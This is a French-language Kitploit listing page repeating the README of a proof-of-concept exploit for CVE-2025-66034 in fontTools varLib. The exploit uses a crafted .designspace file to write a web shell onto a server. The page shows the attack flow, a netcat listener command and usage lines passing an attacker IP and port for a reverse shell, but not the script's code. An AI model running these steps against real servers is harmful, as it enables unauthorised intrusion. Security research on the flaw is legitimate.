Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
varlib-cve-2025-66034 — Exploit de preuve de concept pour CVE-2025-66034 dans le pipeline de génération de polices variables fontTools. Un fichier .designspace malveillant permet de contrôler le chemin de sortie, permettant des écritures de fichiers arbitraires. Le script automatise la création de la charge utile, la génération de polices et le téléchargement pour démontrer le problème. | Kitploit
Outils/GitHubGitHub/symphony2colour/varlib-cve-2025-66034
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubsymphony2colour/varlib-cve-2025-66034

varlib-cve-2025-66034

Voir le dépôt
214il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Exploit de preuve de concept pour CVE-2025-66034 dans le pipeline de génération de polices variables fontTools. Un fichier .designspace malveillant permet de contrôler le chemin de sortie, permettant des écritures de fichiers arbitraires. Le script automatise la création de la charge utile, la génération de polices et le téléchargement pour démontrer le problème.

Partager

Exploit CVE-2025-66034 de fontTools varLib

cve component vulnerability vector impact language dependency license

Ce dépôt n'introduit pas de nouvelle vulnérabilité.

Il s'agit d'un exploit de preuve de concept pour CVE-2025-66034 affectant la chaîne de génération de polices variables varLib de fontTools.

La vulnérabilité permet aux attaquants de contrôler le nom du fichier de sortie au sein d'un fichier .designspace conçu à cet effet. Lorsqu'il est traité par un service de génération de polices vulnérable, cela peut entraîner une écriture arbitraire de fichier sur le système de fichiers du serveur.

Le script varlib_cve_2025_66034.py automatise la création de la charge utile, la génération de la police, le téléversement et le déclenchement optionnel du shell.


Fonctionnalités

  • Création automatique de polices maîtres compatibles à l'aide de fontTools
  • Génération aléatoire du nom de fichier du shell
  • Chemin cible et point de terminaison de téléversement personnalisables
  • Écouteur nc automatique
  • Aucune préparation manuelle de police requise

Prérequis

Python 3.9+

Installez les dépendances :

pip install fonttools requests

Netcat est requis pour le listener, par conséquent la commande suivante est nécessaire si vous utilisez l'option --no-listen :

nc -lvnp <PORT_NUMBER>

Utilisation

Si votre cible est un laboratoire auto-hébergé fonctionnant sur mysite.com, et que le chemin de téléversement, le chemin d'écriture du système de fichiers et le chemin de déclenchement accessible via le web correspondent aux valeurs par défaut du script, vous pouvez l'exécuter directement.

Utilisation de base :

python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT>

Il est très probable que la cible utilise des URL ou des chemins de système de fichiers différents ; remplacez les valeurs par défaut par les options disponibles ci-dessous, telles que --url, --path et --trigger, ou modifiez le script manuellement

Remarque : les noms des champs du formulaire d'upload multipart peuvent varier selon l'environnement. Si la cible n'utilise pas les mêmes noms de champs de formulaire que le script, ajustez-les dans la section files avant d'exécuter l'exploit.

Options

ArgumentDescription
--ipIP de l'écouteur de l'attaquant
--portPort de l'écouteur
--pathChemin du système de fichiers cible où le fichier sera écrit (doit être accessible via le web pour déclencher un web shell)
--urlPoint de terminaison d'upload, le formulaire peut varier
--triggerURL de base utilisée pour déclencher la charge utile écrite après l'upload
--no-listenDésactive l'écouteur netcat automatique

Exemple avec des options personnalisées :

python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT> --path /var/www/mysite.com/public --url http://mysite.com/tools/variable-font-generator/process --trigger http://mysite.com

Flux d'exploitation

  1. Générer des polices maîtres compatibles
  2. Créer un fichier .designspace malveillant
  3. Téléverser la charge utile via un POST multipart
  4. Écrire un fichier arbitraire sur le serveur
  5. Déclencher la charge utile via une requête HTTP

Crédits / Remerciements

Remerciements particuliers et respect à :

  • Les mainteneurs et contributeurs du projet fontTools pour leur travail sur la bibliothèque open source fontTools.
  • Les chercheurs en sécurité qui ont découvert et divulgué de manière responsable CVE-2025-66034.
  • La communauté de sécurité open source pour la documentation et l'analyse des vulnérabilités qui contribuent à améliorer la sécurité des logiciels.

Cette preuve de concept est fournie à des fins éducatives et de recherche afin d'aider à comprendre la vulnérabilité et son impact.


Avertissement

Ce code est fourni à des fins éducatives et de recherche uniquement.

N'utilisez pas cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation explicite de test.

L'auteur n'est pas responsable de toute mauvaise utilisation ou de tout dommage causé par ce logiciel.


Références

  • Détails de la CVE : https://nvd.nist.gov/vuln/detail/CVE-2025-66034
  • Avis GitHub : https://github.com/advisories/GHSA-768j-98cg-p3fv
  • Projet fontTools : https://github.com/fonttools/fonttools
  • Documentation fontTools : https://fonttools.readthedocs.io/
Télécharger l’outil